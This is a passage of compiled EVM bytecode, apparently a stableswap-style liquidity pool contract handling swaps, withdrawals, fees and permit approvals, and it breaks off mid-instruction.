61100052610d205161102052610fc0a26020610fa060035f55f35b33610b0052610c19565b6064358060a01c61522657610b00525b60243580600f0b811861522657610ae0525f546002146152265760025f556004351561522657606036610b20375f610c80525f610ca0526004356103c052610ae0516103e052610c6a610cc0614a57565b610cc08051610b20526020810151610b405260408101805160208160051b0180610b60828560045afa50505050610160810151610c8052610180810151610ca05250604435610b20511015610d1e576018610cc0527f4e6f7420656e6f75676820636f696e732072656d6f7665640000000000000000610ce052610cc050610cc05180610ce001601f825f031636823750506308c379a0610c80526020610ca052601f19601f610cc0510116604401610c9cfd5b610ae0516010548110156152265760110180546402540be400610b405164012a05f20081028164012a05f20082041861522657905004808201828110615226579050905081555033604052600435606052610d77614f3d565b610ae051604052610b2051606052610b0051608052610d94612b55565b337f6f48129db1f37ccb9cc5dd7e119cb32750cabdf75b48375d730d26ce3659bbe1610ae051610cc052600435610ce052610b2051610d0052602854610d20526080610cc0a2610b605160208160051b018061034082610b6060045afa505050610c805161046052610ca05161048052610e0c613ed0565b6020610b2060035f55f35b33610a8052610e31565b6044358060a01c61522657610a80525b600435600401600881351161522657803560208160051b018083610960375050505f546002146152265760025f55610e6a610ac061323c565b610ac051610aa052610e7d610be0612d26565b610be0805160208160051b0180610ac0828560045afa50505050610ea2610d00613055565b610d00805160208160051b0180610be0828560045afa50505050610ac05160208160051b01806103c082610ac060045afa505050610be05160208160051b01806104e082610be060045afa505050610aa05161060052610f03610d20614714565b610d2051610d0052610be05160208160051b0180610d2082610be060045afa5050505f60206154135f395f5160088111615226578015610fdb57905b80610e4052610e4051610960518110156152265760051b610980015115610fd057610e4051610d20518110156152265760051b610d40018051610e4051610960518110156152265760051b61098001518082038281116152265790509050815250610e4051604052610e4051610960518110156152265760051b6109800151606052610a8051608052610fd0612b55565b600101818118610f3f575b5050610ac05160208160051b01806103c082610ac060045afa505050610d205160208160051b01806104e082610d2060045afa505050610aa05161060052611024610e60614714565b610e6051610e4052600160206153f35f395f510360021b60206153f35f395f51600a540204610e605260206153f35f395f51610d0051610e4051808201828110615226579050905004610e80525f610ea0525f610fc052608036610fe0375f60206154135f395f51600881116152265780156112a257905b8061106052610e405161106051610be0518110156152265760051b610c0001518082028115838383041417156152265790509050610d005180156152265780820490509050611000525f6110205261106051610d20518110156152265760051b610d400151611040526110405161100051116111245761100051611040510361102052611132565b611040516110005103611020525b670de0b6b3a764000061106051610ac0518110156152265760051b610ae0015161106051610be0518110156152265760051b610c000151611040518082018281106152265790509050808202811583838304141715615226579050905004610fe052610fe051604052610e8051606052610e60516080526111b46110806138c4565b61108051610fc052610ea05160078111615226576402540be400610fc051611020518082028115838383041417156152265790509050048160051b610ec0015260018101610ea05250611060516010548110156152265760110180546402540be40061106051610ea0518110156152265760051b610ec0015164012a05f20081028164012a05f20082041861522657905004808201828110615226579050905081555061106051610d20518110156152265760051b610d4001805161106051610ea0518110156152265760051b610ec00151808203828111615226579050905081525060010181811861109c575b5050610ac05160208160051b01806103c082610ac060045afa505050610d205160208160051b01806104e082610d2060045afa505050610aa051610600526112eb611060614714565b61106051610e4052610ac05160208160051b0180604082610ac060045afa505050610d205160208160051b018061016082610d2060045afa505050611331611060613188565b611060805160208160051b0180611180828560045afa50505050610aa0516112a052610e40516112c05261016061034061016061118060045afa50611374613ed0565b60285461106052610d0051610d0051610e40518082038281116152265790509050611060518082028115838383041417156152265790509050046001810181811061522657905061108052600261108051106152265760243561108051111561143c5760146110a0527f536c697070616765207363726577656420796f750000000000000000000000006110c0526110a0506110a051806110c001601f825f031636823750506308c379a061106052602061108052601f19601f6110a051011660440161107cfd5b336040526110805160605261144f614f3d565b337f3631c28b1f9dd213e0319fb167b554d76b6c283a41143eb400a0d1adb1af17556080806110a052806110a0015f610960518083528060051b5f82600881116152265780156114b957905b8060051b61098001518160051b60208801015260010181811861149b575b50508201602001915050905081019050806110c052806110a0015f610ea0518083528060051b5f826008811161522657801561150f57905b8060051b610ec001518160051b6020880101526001018181186114f1575b50508201602001915050905081019050610e40516110e05261106051611080518082038281116152265790509050611100526110a0a2602061108060035f55f35b336103c05260016103e052611599565b6044358060a01c615226576103c05260016103e052611599565b6044358060a01c615226576103c0526064358060011c615226576103e0525b602435600401600881351161522657803560208160051b0180836102a0375050505f546002146152265760025f5560285461040052600435156152265760206153f35f395f516102a05118615226575f610420526115f8610660613055565b610660805160208160051b0180610540828560045afa505050505f610660525f60206154135f395f516008811161522657801561176257905b80610680526104005161068051610540518110156152265760051b610560015160043580820281158383830414171561522657905090500461066052610680516102a0518110156152265760051b6102c001516106605110156117185760306106a0527f5769746864726177616c20726573756c74656420696e20666577657220636f696106c0527f6e73207468616e206578706563746564000000000000000000000000000000006106e0526106a0506106a051806106c001601f825f031636823750506308c379a061066052602061068052601f19601f6106a051011660440161067cfd5b610420516007811161522657610660518160051b610440015260018101610420525061068051604052610660516060526103c051608052611757612b55565b600101818118611631575b505033604052600435606052611776614f3d565b6025546040526117876106c0613984565b6106c0604061068060408360045afa50506022546106c0526fffffffffffffffffffffffffffffffff6106c051166106e0526106e051610400516106e0516004358082028115838383041417156152265790509050048082038281116152265790509050610740526106c05161012052602454610140526106a05161016052611811610700613dc6565b610700516107605260406040604061074060045afa50611832610720612952565b61072051602255426106a051101561186a57426106a052610680516040526106a051606052611862610700612952565b610700516025555b337f347ad828e58cbe534d8f6b67985d791360756b18f0d95fd9f197a66cc46480ea6060806107005280610700015f610420518083528060051b5f82600881116152265780156118d457905b8060051b61044001518160051b6020880101526001018181186118b6575b50508201602001915050905081019050806107205280610700015f5f82525f5f5f6008811161522657801561191b57905b5f8160051b602087010152600101818118611905575b505081016020019050905081019050600435610400510361074052610700a26103e0511561194b5761194b614faa565b6020806107005280610700015f610420518083528060051b5f826008811161522657801561199357905b8060051b61044001518160051b602088010152600101818118611975575b5050820160200191505090508101905061070060035f55f35b5f546002146152265760025f556119c1614faa565b60035f55005b6fffffffffffffffffffffffffffffffff60043560195481101561522657601a01541660405260206040f35b60043560195481101561522657601a015460801c60405260206040f35b611a1b6103e061323c565b6103e0516103c052611a2e610500612d26565b610500805160208160051b0180610860828560045afa50505050611a53610620613055565b610620805160208160051b0180610980828560045afa50505050610240604061024061086060045afa50611a88610740613188565b610740805160208160051b01806103e0828560045afa505050506103e05160208160051b01806040826103e060045afa5050506103c05161016052611ace610520613347565b610520516105005260206103e05160208160051b01806040826103e060045afa5050506103c051610160526105005161018052611b0c6105206139a9565b61052060043581518110156152265760051b60208201019050f35b5f5460021461522657602060043560195481101561522657601a015461012052602354610140526fffffffffffffffffffffffffffffffff6025541661016052611b72610200613dc6565b610200f35b5f54600214615226576020602254610120526024546101405260255460801c61016052611ba5610200613dc6565b610200f35b6004358060a01c6152265760c0523360405260c051606052602435608052611bd06151aa565b600160e052602060e0f35b6004358060a01c6152265760c0526024358060a01c6152265760e05260c05160405260e051606052604435608052611c116151aa565b602760c0516020525f5260405f2080336020525f5260405f20905054610100527fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6101005114611cc8576101005160443580820382811161522657905090506101205261012051602760c0516020525f5260405f2080336020525f5260405f209050553360c0517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92561012051610140526020610140a35b6001610120526020610120f35b6004358060a01c615226576040526024356027336020525f5260405f20806040516020525f5260405f20905055604051337f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560243560605260206060a3600160605260206060f35b6004358060a01c61522657610120526024358060a01c61522657610140526084358060081c61522657610160526101205115615226576064354211615226576029610120516020525f5260405f2054610180525f60026101c0527f19010000000000000000000000000000000000000000000000000000000000006101e0526101c0805160208201836103200181518152505080830192505050611de2610200615117565b610200518161032001526020810190507f6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c961024052610120516102605261014051610280526044356102a052610180516102c0526064356102e05260c061022052610220805160208201209050816103200152602081019050806103005261030090508051602082012090506101a052610120513b15611fab575f604060a46102603760406102405261024080516020820183610320018281848460045afa50505080830192505050610160516102a0526102a0601f810180516102e0525060016102c0526102c09050805160208201836103200181518152505080830192505050806103005261030090506020815101806101c0828460045afa5050507f1626ba7e0000000000000000000000000000000000000000000000000000000061012051631626ba7e6102405260406101a051610260528061028052806102600160206101c051018082826101c060045afa50508051806020830101601f825f03163682375050601f19601f82516020010116905081015050602061024060c461025c845afa611f93573d5f5f3e3d5ffd5b60203d10615226576102409050511861522657611feb565b610120515f610240526101a0516101c052610160516101e05260a4356102005260c43561022052602061024060806101c060015afa506102405118615226575b6044356027610120516020525f5260405f2080610140516020525f5260405f20905055600161018051016029610120516020525f5260405f205561014051610120517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9256044356101c05260206101c0a360016101c05260206101c0f35b6020612075610120615117565b610120f35b60043580600f0b81186152265760405260243580600f0b811861522657606052602060206154335f395f5163e31593d8608052602060806004609c845afa6120c4573d5f5f3e3d5ffd5b60203d10615226576080518060a01c6152265760c05260c09050516383aa796a60e0526040516101005260605161012052604435610140523061016052602060e0608460fc845afa612118573d5f5f3e3d5ffd5b60203d106152265760e09050f35b60043580600f0b81186152265760405260243580600f0b811861522657606052602060206154335f395f5163e31593d8608052602060806004609c845afa612170573d5f5f3e3d5ffd5b60203d10615226576080518060a01c6152265760c05260c0905051630c601c2c60e0526040516101005260605161012052604435610140523061016052602060e0608460fc845afa6121c4573d5f5f3e3d5ffd5b60203d106152265760e09050f35b60243580600f0b811861522657610ae05260206004356103c052610ae0516103e0526121ff610b00614a57565b610b00f35b5f546002146152265760285460405260206040f35b5f546002146152265761222d6103e061323c565b6103e0516103c052612240610500612d26565b610500805160208160051b0180610860828560045afa50505050612265610620613055565b610620805160208160051b0180610980828560045afa50505050610240604061024061086060045afa5061229a610740613188565b610740805160208160051b01806103e0828560045afa505050506103e05160208160051b01806040826103e060045afa5050506103c051610160526122e0610520613347565b610520516105005261050051670de0b6b3a7640000810281670de0b6b3a764000082041861522657905060285480156152265780820490509050610520526020610520f35b600435600401600881351161522657803560208160051b0180836040375050506024358060011c6152265761016052602060206154335f395f5163e31593d8610180526020610180600461019c845afa612381573d5f5f3e3d5ffd5b60203d1061522657610180518060a01c615226576101c0526101c090505163fb79eb276101e0526060806102005280610200015f6040518083528060051b5f82600881116152265780156123ee57905b8060051b606001518160051b6020880101526001018181186123d1575b50508201602001915050905081019050610160516102205230610240525060206101e06101846101fc845afa612426573d5f5f3e3d5ffd5b60203d10615226576101e09050f35b606461244160c061323c565b60c0510460e052602060e0f35b602061245a60c061323c565b60c0f35b602061246b6101e0613055565b6101e060043581518110156152265760051b60208201019050f35b602080610300526124986101e0613055565b6101e081610300015f82518083528060051b5f82600881116152265780156124db57905b8060051b6020880101518160051b6020880101526001018181186124bc575b505082016020019150509050905081019050610300f35b60208061036052612504610240612d26565b61024081610360015f82518083528060051b5f826008811161522657801561254757905b8060051b6020880101518160051b602088010152600101818118612528575b505082016020019150509050905081019050610360f35b60043580600f0b81186152265760405260243580600f0b811861522657606052602060206154335f395f5163e31593d8608052602060806004609c845afa6125a8573d5f5f3e3d5ffd5b60203d10615226576080518060a01c6152265760c05260c090505163a63530bd60e05260405161010052606051610120523061014052602060e0606460fc845afa6125f5573d5f5f3e3d5ffd5b60203d106152265760e09050f35b60206154335f395f5163f851a44060c052602060c0600460dc845afa61262b573d5f5f3e3d5ffd5b60203d106152265760c0518060a01c6152265761010052610100905051331861522657600e5462015180810181811061522657905042106152265742620151808101818110615226579050602435106152265761268860e061323c565b60e05160c0526004356064810281606482041861522657905060e052600435156126ba57620f423f60043511156126bc565b5f5b156152265760c05160e051106126ec5760c051600a810281600a82041861522657905060e0511161522657612708565b60c05160e051600a810281600a82041861522657905010615226575b60c051600c5560e051600d5542600e55602435600f557fa2b71ec6df949300b59aab36b55e189697b750119dd349fcfa8c0f779e83c25460c0516101005260e051610120524261014052602435610160526080610100a1005b60206154335f395f5163f851a44060c052602060c0600460dc845afa612789573d5f5f3e3d5ffd5b60203d106152265760c0518060a01c61522657610100526101009050513318615226576127b660e061323c565b60e05160c05260c051600c5560c051600d5542600e5542600f557f46e22fb3709ad289f62ce63d469248536dbc78d82b84a3d7e74ad606dc20193860c05160e0524261010052604060e0a1005b60206154335f395f5163f851a440604052602060406004605c845afa61282b573d5f5f3e3d5ffd5b60203d10615226576040518060a01c61522657608052608090505133186152265764012a05f2006004351161522657600435600a556802b5e3af16b188000060243560043580820281158383830414171561522657905090501161522657602435600b557f750d10a7f37466ce785ee6bcb604aac543358db42afbcc332a3c12a49c80bf6d6040600460403760406040a1005b60206154335f395f5163f851a440604052602060406004605c845afa6128e6573d5f5f3e3d5ffd5b60203d10615226576040518060a01c6152265760805260809050513318615226576024356004350215615226576004356023556024356024557f68dc4e067dff1862b896b7a0faf55f97df1a60d0aaa79481b69d675f2026a28c6040600460403760406040a1005b5f5ffd5b6fffffffffffffffffffffffffffffffff60405111615226576fffffffffffffffffffffffffffffffff606051116152265760605160801b60405117815250565b602060405160206154535f395f518110156152265760051b6080016153f3015f395f516370a0823160e0523061010052602060e0602460fc845afa6129da573d5f5f3e3d5ffd5b60203d106152265760e090505160c05260a051612af6576060511561522657602060405160206154535f395f518110156152265760051b6080016153f3015f395f516323b872dd60e05260805161010052306101205260605161014052602060e0606460fc5f855af1612a4f573d5f5f3e3d5ffd5b3d612a6657803b1561522657600161016052612a7e565b60203d106152265760e0518060011c61522657610160525b6101609050511561522657602060405160206154535f395f518110156152265760051b6080016153f3015f395f516370a0823160e0523061010052602060e0602460fc845afa612ad0573d5f5f3e3d5ffd5b60203d106152265760e090505160c051808203828111615226579050905060c052612b27565b60c0516040516001548110156152265760020154808203828111615226579050905060c05260605160c05110615226575b60405160015481101561522657600201805460c051808201828110615226579050905081555060c051815250565b608051156152265760206156935f395f51612c1e576040516001548110156152265760020180546060518082038281116152265790509050815550602060405160206154535f395f518110156152265760051b6080016153f3015f395f5163a9059cbb60a05260805160c05260605160e052602060a0604460bc5f855af1612bdf573d5f5f3e3d5ffd5b3d612bf657803b1561522657600161010052612c0e565b60203d106152265760a0518060011c61522657610100525b6101009050511561522657612d24565b602060405160206154535f395f518110156152265760051b6080016153f3015f395f516370a0823160c0523060e052602060c0602460dc845afa612c64573d5f5f3e3d5ffd5b60203d106152265760c090505160a052602060405160206154535f395f518110156152265760051b6080016153f3015f395f5163a9059cbb60c05260805160e05260605161010052602060c0604460dc5f855af1612cc4573d5f5f3e3d5ffd5b3d612cdb57803b1561522657600161012052612cf3565b60203d106152265760c0518060011c61522657610120525b610120905051156152265760a051606051808203828111615226579050905060405160015481101561522657600201555b565b60206156b35f395f5160208160051b01806156b360403950505f60206154135f395f516008811161522657801561303a57905b8061016052600160206101605160206155735f395f518110156152265760051b6101a0016153f3015f395f5118612db65760206101605160206157d35f395f518110156152265760051b610400016153f3015f395f511515612db8565b5f5b612ee757600360206101605160206155735f395f518110156152265760051b6101a0016153f3015f395f511861302f57670de0b6b3a7640000610160516040518110156152265760051b6060015160206101605160206154535f395f518110156152265760051b6080016153f3015f395f516307a2d13a6101805260206101605160206158f35f395f518110156152265760051b610520016153f3016101a0396020610180602461019c845afa612e71573d5f5f3e3d5ffd5b60203d106152265761018090505180820281158383830414171561522657905090506020610160516020615a135f395f518110156152265760051b610640016153f3015f395f51808202811583838304141715615226579050905004610160516040518110156152265760051b6060015261302f565b60206101605160206157d35f395f518110156152265760051b610400016153f3015f395f5173ffffffffffffffffffffffffffffffffffffffff811690508060a01c615226575a7fffffffff0000000000000000000000000000000000000000000000000000000060206101605160206157d35f395f518110156152265760051b610400016153f3015f395f51166101e05260206101c0526101c05060206102206101c0516101e08585fa90509050612fa2573d5f5f3e3d5ffd5b3d602081183d60201002186102005261020080516101805260208101516101a0525060206101805118615226576101a0516101805160200360031b1c6101c052670de0b6b3a7640000610160516040518110156152265760051b606001516101c051808202811583838304141715615226579050905004610160516040518110156152265760051b606001525b600101818118612d59575b505060405160208160051b01808382604060045afa50505050565b5f6040525f610160525f60206154135f395f516008811161522657801561316d57905b806101805260206156935f395f516130c557610180516001548110156152265760020154610180516010548110156152265760110154808203828111615226579050905061016052613143565b60206101805160206154535f395f518110156152265760051b6080016153f3015f395f516370a082316101a052306101c05260206101a060246101bc845afa613110573d5f5f3e3d5ffd5b60203d10615226576101a09050516101805160105481101561522657601101548082038281116152265790509050610160525b6040516007811161522657610160518160051b606001526001810160405250600101818118613078575b505060405160208160051b01808382604060045afa50505050565b5f610280525f60206154135f395f516008811161522657801561321f57905b806103a052610280516007811161522657670de0b6b3a76400006103a0516040518110156152265760051b606001516103a051610160518110156152265760051b61018001518082028115838383041417156152265790509050048160051b6102a001526001810161028052506001018181186131a7575b50506102805160208160051b0180838261028060045afa50505050565b600f54604052600d5460605260405142106132605760605181525061334556613345565b600c54608052600e5460a052608051606051116132e257608051606051608051034260a0518082038281116152265790509050808202811583838304141715615226579050905060405160a051808203828111615226579050905080156152265780820490509050808203828111615226579050905081525061334556613345565b608051608051606051034260a0518082038281116152265790509050808202811583838304141715615226579050905060405160a05180820382811161522657905090508015615226578082049050905080820182811061522657905090508152505b565b5f610180525f6040516008811161522657801561339157905b8060051b606001516101a052610180516101a051808201828110615226579050905061018052600101818118613360575b5050610180516133a4575f8152506135bd565b610180516101a0526101605160206153f35f395f5180820281158383830414171561522657905090506101c0525f60ff905b806101e0526101a051610200525f6040516008811161522657801561343f57905b8060051b6060015161022052610200516101a05180820281158383830414171561522657905090506102205180156152265780820490509050610200526001018181186133f7575b50506102005160206153f35f395f5160206153f35f395f510a80156152265780820490509050610200526101a0516102205260646101c051610180518082028115838383041417156152265790509050046102005160206153f35f395f51808202811583838304141715615226579050905080820182811061522657905090506101a051808202811583838304141715615226579050905060646101c051606481038181116152265790506101a051808202811583838304141715615226579050905004600160206153f35f395f51016102005180820281158383830414171561522657905090508082018281106152265790509050801561522657808204905090506101a052610220516101a05111613582576001610220516101a0518082038281116152265790509050116135ad576101a05183525050506135bd566135ad565b60016101a051610220518082038281116152265790509050116135ad576101a05183525050506135bd565b6001018181186133d65750505f5ffd5b565b60605160405114615226575f606051126152265760206154135f395f516060511215615226575f604051126152265760206154135f395f516040511215615226576101c051610200526101e0516102205260603661024037610220516102a0526102005160206153f35f395f5180820281158383830414171561522657905090506102c0525f6008905b806102e05260206154135f395f516102e051186136655761371f565b6040516102e0511861367d57608051610260526136ab565b6060516102e05114613714576102e05160a0518110156152265760051b60c00151610260526136ab56613714565b61024051610260518082018281106152265790509050610240526102a0516102205180820281158383830414171561522657905090506102605160206153f35f395f518082028115838383041417156152265790509050801561522657808204905090506102a0525b600101818118613649575b50506102a051610220518082028115838383041417156152265790509050606481028160648204186152265790506102c05160206153f35f395f518082028115838383041417156152265790509050801561522657808204905090506102a0526102405161022051606481028160648204186152265790506102c0518015615226578082049050905080820182811061522657905090506102e05261022051610300525f60ff905b80610320526103005161028052610300516103005180820281158383830414171561522657905090506102a0518082018281106152265790509050610300518060011b818160011c186152265790506102e0518082018281106152265790509050610220518082038281116152265790509050801561522657808204905090506103005261028051610300511161388757600161028051610300518082038281116152265790509050116138b2576103005183525050506138c2566138b2565b600161030051610280518082038281116152265790509050116138b2576103005183525050506138c2565b6001018181186137c75750505f5ffd5b565b600b5460a0526402540be40060a051116138e357608051815250613982565b60405160605180820182811061522657905090506fffffffffffffffffffffffffffffffff8111615226576002810a905060c0526402540be4006402540be40060a051038060021b818160021c186152265790506040518082028115838383041417156152265790509050606051808202811583838304141715615226579050905060c051801561522657808204905090500160805160a05102048152505b565b6fffffffffffffffffffffffffffffffff60405116815260405160801c602082015250565b60206153f35f395f5161016051026101a05260206153f35f395f5160206153f35f395f510a61018051046101c0525f60206154135f395f5160088111615226578015613a4357905b806101e0526101c0516101805180820281158383830414171561522657905090506101e0516040518110156152265760051b60600151801561522657808204905090506101c0526001018181186139f1575b50505f6101e05260646101a05160405115615226575f60051b6060015180820281158383830414171561522657905090500461030052600160078101905b806103205260206153f35f395f516103205118613a9d57613b57565b6101e051600781116152265761030051610320516040518110156152265760051b606001516101c05160405115615226575f60051b606001518082028115838383041417156152265790509050048082018281106152265790509050670de0b6b3a7640000810281670de0b6b3a7640000820418615226579050610300516101c0518082018281106152265790509050801561522657808204905090508160051b6102000152600181016101e05250600101818118613a81575b50506101e05160208160051b018083826101e060045afa50505050565b6040516060527ffffffffffffffffffffffffffffffffffffffffffffffffdc0d0570925a462d760405113613bac575f815250613dc4565b680755bf798b4a1bf1e46040511315613c1b5760106080527f7761645f657870206f766572666c6f770000000000000000000000000000000060a0526080506080518060a001601f825f031636823750506308c379a06040526020606052601f19601f6080510116604401605cfd5b6503782dace9d9604051604e1b056060526b8000000000000000000000006bb17217f7d1cf79abc9e3b39860605160601b050160601d6080526bb17217f7d1cf79abc9e3b39860805102606051036060526d02d16720577bd19bf614176fe9ea6060516c10fe68e7fd37d0007b713f7650606051010260601d0160a05279d835ebba824c98fb31b83b2ca45c0000000000000000000000006060516e0587f503bb6ea29d25fcb74019645060a0516d04a4fd9f2a8b96949216d2255a6c60605160a05101030260601d01020160c0526d0277594991cfc85f6e2461837cd96060516c240c330e9fb2d9cbaf0fd5aafc606051030260601d0160e0526d1a521255e34f6a5061b25ef1c9c460605160e0510260601d0360e0526db1bbb201f443cf962f1a1d3db4a560605160e0510260601d0160e0526e02c72388d9f74f51a9331fed693f1560605160e0510260601d0360e0526e05180bb14799ab47a8a8cb2a527d5760605160e0510260601d0160e05260e05160c051056101005274029d9dc38563c32e5c2f6dc192ee70ef65f9978af3610100510260805160c3035f8112615226571c8152505b565b6fffffffffffffffffffffffffffffffff6101205116610180526101205160801c6101a05242610160511015613ec65761014051670de0b6b3a764000061016051420302048060ff1c615226577f80000000000000000000000000000000000000000000000000000000000000008114615226575f03604052613e4a6101e0613b74565b6101e0516101c052670de0b6b3a7640000610180516101c05180670de0b6b3a764000003670de0b6b3a7640000811161522657905080820281158383830414171561522657905090506101a0516101c0518082028115838383041417156152265790509050808201828110615226579050905004815250613ece565b6101a0518152505b565b602554604052613ee16104e0613984565b6104e060406104a060408360045afa505060195460208160051b015f81601f0160051c60098111615226578015613f2d57905b80601901548160051b6104e00152600101818118613f14575b505050506104e05160208160051b0180610600826104e060045afa5050506103405160208160051b018060408261034060045afa50505061046051610160526104805161018052613f7f6108406139a9565b610840805160208160051b0180610720828560045afa505050505f6008905b806108405260206153f35f395f51600181038181116152265790506108405118613fc757614096565b61084051610720518110156152265760051b61074001511561408b5761084051610720518110156152265760051b6107400151671bc16d674ec80000818118671bc16d674ec800008310021890506108a052610840516104e0518110156152265760051b610500015161012052602354610140526104a0516101605261404e610860613dc6565b610860516108c0526040604060406108a060045afa5061406f610880612952565b6108805161084051610600518110156152265760051b61062001525b600101818118613f9e575b50506106005160208160051b015f81601f0160051c600981116152265780156140d457905b8060051b610600015181601901556001018181186140bb575b5050505060225461084052610480516108a0526108405161012052602454610140526104c05161016052614109610860613dc6565b610860516108c0526040604060406108a060045afa5061412a610880612952565b610880516022555f6002905b80610860524261086051600181116152265760051b6104a00151101561416c574261086051600181116152265760051b6104a001525b6001018181186141365750506104a0516040526104c051606052614191610860612952565b61086051602555565b6141a5610c2061323c565b610c2051610c00526109805160208160051b018060408261098060045afa505050610c0051610160526141d9610c40613347565b610c4051610c2052610bc051604052610be051606052610960516080526109805160208160051b018060a08261098060045afa505050610c00516101c052610c20516101e05261422a610c606135bf565b610c6051610c4052610be051610980518110156152265760051b6109a00151610c4051808203828111615226579050905060018103818111615226579050610c60526402540be400610c6051610bc051610980518110156152265760051b6109a0015161096051808201828110615226579050905060011c604052610be051610980518110156152265760051b6109a00151610c4051808201828110615226579050905060011c606052600a546080526142e5610ca06138c4565b610ca051808202811583838304141715615226579050905004610c8052610c6051610c80518082038281116152265790509050670de0b6b3a7640000810281670de0b6b3a7640000820418615226579050610be051610aa0518110156152265760051b610ac0015180156152265780820490509050610c6052610be051601054811015615226576011018054610be051610aa0518110156152265760051b610ac001516402540be400610c805164012a05f20081028164012a05f20082041861522657905004670de0b6b3a7640000810281670de0b6b3a76400008204186152265790500480820182811061522657905090508155506109805160208160051b0180610ca08261098060045afa50505061096051610bc051610ca0518110156152265760051b610cc00152610c4051610be051610ca0518110156152265760051b610cc00152610ca05160208160051b018061034082610ca060045afa505050610c005161046052610c20516104805261445d613ed0565b610c6051815250565b610e0051610de0511461522657610e20511561522657614487610fc0612d26565b610fc0805160208160051b0180610ea0828560045afa505050506144ac6110e0613055565b6110e0805160208160051b0180610fc0828560045afa50505050610ea05160208160051b0180604082610ea060045afa505050610fc05160208160051b018061016082610fc060045afa505050614504611200613188565b611200805160208160051b01806110e0828560045afa50505050610de051604052610e2051606052610dc051608052610e805160a052614545611220612993565b6112205161120052610de0516110e0518110156152265760051b6111000151670de0b6b3a764000061120051610de051610ea0518110156152265760051b610ec0015180820281158383830414171561522657905090500480820182811061522657905090506112205261122051610960526110e05160208160051b0180610980826110e060045afa505050610ea05160208160051b0180610aa082610ea060045afa505050610de051610bc052610e0051610be05261460661126061419a565b6112605161124052610e40516112405110156146a657602e611260527f45786368616e676520726573756c74656420696e20666577657220636f696e73611280527f207468616e2065787065637465640000000000000000000000000000000000006112a05261126050611260518061128001601f825f031636823750506308c379a061122052602061124052601f19601f61126051011660440161123cfd5b610e005160405261124051606052610e60516080526146c3612b55565b337f8b3e96f2b889fa771c53c981b40daf005f63f637f1869f707052d15a3dd97140610de051611260526112005161128052610e00516112a052611240516112c0526080611260a261124051815250565b6103c05160208160051b01806040826103c060045afa5050506104e05160208160051b0180610160826104e060045afa505050614752610740613188565b610740805160208160051b0180610620828560045afa505050506106205160208160051b018060408261062060045afa5050506106005161016052614798610740613347565b61074051815250565b5f606051126152265760206154135f395f516060511215615226576060366101c0376101a0516102205260405160206153f35f395f518082028115838383041417156152265790509050610240525f6008905b806102605260206154135f395f516102605118614810576148b2565b60605161026051146148a757610260516080518110156152265760051b60a001516101e05261483e566148a7565b6101c0516101e05180820182811061522657905090506101c052610220516101a05180820281158383830414171561522657905090506101e05160206153f35f395f51808202811583838304141715615226579050905080156152265780820490509050610220525b6001018181186147f4575b5050610220516101a0518082028115838383041417156152265790509050606481028160648204186152265790506102405160206153f35f395f51808202811583838304141715615226579050905080156152265780820490509050610220526101c0516101a0516064810281606482041861522657905061024051801561522657808204905090508082018281106152265790509050610260526101a051610280525f60ff905b806102a052610280516102005261028051610280518082028115838383041417156152265790509050610220518082018281106152265790509050610280518060011b818160011c186152265790506102605180820182811061522657905090506101a05180820382811161522657905090508015615226578082049050905061028052610200516102805111614a1a5760016102005161028051808203828111615226579050905011614a4557610280518352505050614a5556614a45565b60016102805161020051808203828111615226579050905011614a4557610280518352505050614a55565b60010181811861495a5750505f5ffd5b565b614a6261042061323c565b6104205161040052614a75610540612d26565b610540805160208160051b0180610420828560045afa505050506104205160208160051b01806108a08261042060045afa505050614ab4610660613055565b610660805160208160051b01806109c0828560045afa5050505061024060406102406108a060045afa50614ae9610780613188565b610780805160208160051b0180610540828560045afa505050506105405160208160051b018060408261054060045afa5050506104005161016052614b2f610680613347565b610680516106605260285461068052610660516103c051610660518082028115838383041417156152265790509050610680518015615226578082049050905080820382811161522657905090506106a052610400516040526103e0516060526105405160208160051b018060808261054060045afa5050506106a0516101a052614bbb6106e06147a1565b6106e0516106c052600160206153f35f395f510360021b60206153f35f395f51600a5402046106e0526105405160208160051b01806107008261054060045afa50505060206153f35f395f5160011b610660516106a05180820182811061522657905090500461082052608036610840375f6008905b806108c05260206154135f395f516108c05118614c4d57614daa565b5f610840526108c051610540518110156152265760051b6105600151610860526103e0516108c05118614cdf57610860516106a051808202811583838304141715615226579050905061066051801561522657808204905090506106c051808203828111615226579050905061084052610860516106c051808201828110615226579050905060011c61088052614d2b565b61086051610860516106a0518082028115838383041417156152265790509050610660518015615226578082049050905080820382811161522657905090506108405261086051610880525b61088051604052610820516060526106e051608052614d4b6108e06138c4565b6108e0516108a052610860516402540be4006108a0516108405180820281158383830414171561522657905090500480820382811161522657905090506108c051610700518110156152265760051b6107200152600101818118614c31575b50506103e051610700518110156152265760051b6107200151610400516040526103e0516060526107005160208160051b018060808261070060045afa5050506106a0516101a052614dfd6108e06147a1565b6108e05180820382811161522657905090506108c0526103e051610540518110156152265760051b61056001516106c0518082038281116152265790509050670de0b6b3a7640000810281670de0b6b3a76400008204186152265790506103e051610420518110156152265760051b6104400151801561522657808204905090506108e0526103e051610420518110156152265760051b61044001516108c05160018103818111615226579050670de0b6b3a7640000810281670de0b6b3a7640000820418615226579050046108c0526106c0516103e051610540518110156152265760051b61056001526108c05181526108e0516108c051808203828111615226579050905060208201526105405160208160051b016040830181818361054060045afa50505050610400516101608201526106a05161018082015250565b602854606051808203828111615226579050905060285560266040516020525f5260405f20805460605180820382811161522657905090508155505f6040517fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60605160805260206080a3565b60206154335f395f5163cab4d3db610160526020610160600461017c845afa614fd5573d5f5f3e3d5ffd5b60203d1061522657610160518060a01c615226576101a0526101a0905051610140526101405161500457615115565b60105460208160051b015f81601f0160051c6009811161522657801561503f57905b80601001548160051b6101600152600101818118615026575b505050505f60206154135f395f51600881116152265780156150d257905b806102805261028051610160518110156152265760051b6101800151156150c7576102805160405261028051610160518110156152265760051b6101800151606052610140516080526150ae612b55565b5f61028051610160518110156152265760051b61018001525b60010181811861505d575b50506101605160208160051b015f81601f0160051c6009811161522657801561511057905b8060051b610160015181601001556001018181186150f7575b505050505b565b6020615bf35f395f51461461519f577fd87cd6ef79d4e2b95e15ce8abf732db51ec771f1ca2edccf22a46c729ac564726060526020615bd36080397f